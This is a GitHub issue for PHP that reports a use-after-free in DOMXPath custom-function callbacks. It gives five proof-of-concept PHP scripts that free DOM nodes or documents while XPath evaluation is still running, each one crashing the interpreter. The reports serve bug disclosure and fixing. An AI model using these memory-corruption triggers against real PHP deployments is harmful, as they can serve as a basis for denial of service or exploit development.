Skip to content

Use-After-Free in DOMXPath custom-function path #22554

Closed

Description

@alexandre-daubois

Description

Originally reported by @waseem-cve.

The following code:

<?php
$doc = new DOMDocument; $doc->loadXML('<root/>');
$xp = new DOMXPath($doc);
$xp->registerNamespace('my','my.ns');
$xp->registerPHPFunctionNS('my.ns','include', function() {
    $d = new DOMDocument;
    $d->loadXML('<r><uaf/></r>');

    return $d->documentElement;
});

$xp->registerPHPFunctionNS('my.ns','process', function($arg) {
    return 'x';
});

$xp->query('my:process(my:include()/uaf)');
unset($xp);

Resulted in a UAF. The argument-node proxy is created against the DOMXPath's own dom_object instead of the node's document, so it holds no reference on the foreign document. When node_list is torn down at unset($xp), that document is freed while the proxy still points into it.

Similar issue: #22077

Variation 2 (by @calysteon)

<?php

$doc = new DOMDocument();
$doc->loadXML('<root><a><x>1</x></a><b><x>2</x></b><c><x>3</x></c></root>');
$root = $doc->documentElement;

$xpath = new DOMXPath($doc);
$xpath->registerNamespace('php', 'http://php.net/xpath');
$xpath->registerPHPFunctions(['trigger_uaf']);

$call_count = 0;
function trigger_uaf($nodes) {
    global $root, $call_count;
    $call_count++;

    // On the 2nd call (while XPath is still evaluating other nodes),
    // remove <a> which frees its <x> child that XPath already found
    if ($call_count == 2) {
        $a = $root->firstChild;
        if ($a && $a->nodeType === XML_ELEMENT_NODE) {
            $root->removeChild($a);
            // $a goes out of scope -> refcount drops to 0
            // -> dom_objects_free_storage -> php_libxml_node_free_resource
            // -> php_libxml_node_free_list frees <x> child (no PHP ref)
            // BUT libxml2 XPath already has <x> in its nodeTab!
        }
    }
    return "1";
}

// //x selects all <x> elements. The predicate calls trigger_uaf() for each.
// During filtering, the callback frees an <x> node -> UAF when processing results
$result = $xpath->query('//x[php:functionString("trigger_uaf", .)]');
echo "Result: " . $result->length . "\n";

Variation 3 (by @ExPatch-LLC)

<?php
$doc = new DOMDocument();
$doc->loadXML('<root><aaa>A</aaa><bbb>B</bbb><ccc>C</ccc></root>');

$xpath = new DOMXPath($doc);
$xpath->registerNamespace('php', 'http://php.net/xpath');
$xpath->registerPhpFunctions();

$call = 0;

function cb($nodes) {
    global $doc, $call;
    $call++;
    if ($call == 2) {
        // 2nd callback: context node is <aaa>.
        // <bbb>, <ccc>, text nodes have _private==NULL
        // (wrappers from previous callbacks already destroyed).
        // textContent setter frees them via dom_remove_all_children.
        $doc->documentElement->textContent = "X";
    }
    return true;
}

// XPath predicate calls cb() for each node.
// After cb() frees <bbb>, XPath engine reads freed <bbb> -> UAF.
$xpath->query('//node()[php:function("cb", .)]');

Variation 4 (by @ExPatch-LLC)

<?php
class DOMKiller {
    public $doc;
    public function __destruct() {
        if ($this->doc && $this->doc->documentElement) {
            while ($this->doc->documentElement->firstChild) {
                $this->doc->documentElement->removeChild(
                    $this->doc->documentElement->firstChild
                );
            }
        }
    }
}

$doc = new DOMDocument();
$doc->loadXML('<root><item>1</item><item>2</item><item>3</item></root>');

$killer = new DOMKiller();
$killer->doc = $doc;

$xpath = new DOMXPath($doc);
$xpath->registerNamespace("php", "http://php.net/xpath");
$xpath->registerPhpFunctions();

function gc_nuke($nodes) {
    global $killer;
    $killer = null;       // Make DOMKiller garbage
    gc_collect_cycles();  // Force GC -> __destruct -> remove all children -> free xmlNodes
    return "ok";
}

// Crashes: GC-triggered destructor frees xmlNodes while XPath is
// still iterating the nodeset to fetch callback arguments
$xpath->query('//item[php:function("gc_nuke", .)]');

Variation 5 (by @ExPatch-LLC)

$doc = new DOMDocument();
$doc->loadXML('<root><item>1</item><item>2</item><item>3</item></root>');

$xpath = new DOMXPath($doc);
$xpath->registerNamespace("php", "http://php.net/xpath");
$xpath->registerPhpFunctions();

function trigger_uaf($nodes) {
    if (is_array($nodes)) {
        foreach ($nodes as $node) {
            if ($node instanceof DOMNode && $node->parentNode) {
                $new = $node->ownerDocument->createElement("replaced");
                $node->parentNode->replaceChild($new, $node);
            }
        }
    }
    return "ok";
}

// Crashes: callback replaces nodes (freeing xmlNode) -> XPath result
// still references freed memory -> READ of freed node->type at line 351
$xpath->query('//item[php:function("trigger_uaf", .)]');

PHP Version

-

Operating System

No response

Activity

  1. added a commit that references this issue on Jul 2, 2026
    ba205f3
  2. added a commit that references this issue on Jul 12, 2026
    f36660d
  3. added 2 commits that reference this issue on Oct 22, 2026
    d5d650d
    bb0ceef
  4. added 2 commits that reference this issue on Oct 23, 2026
    56e3429
    6c91672
  5. added a commit that references this issue on Oct 23, 2026
    a44a529
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions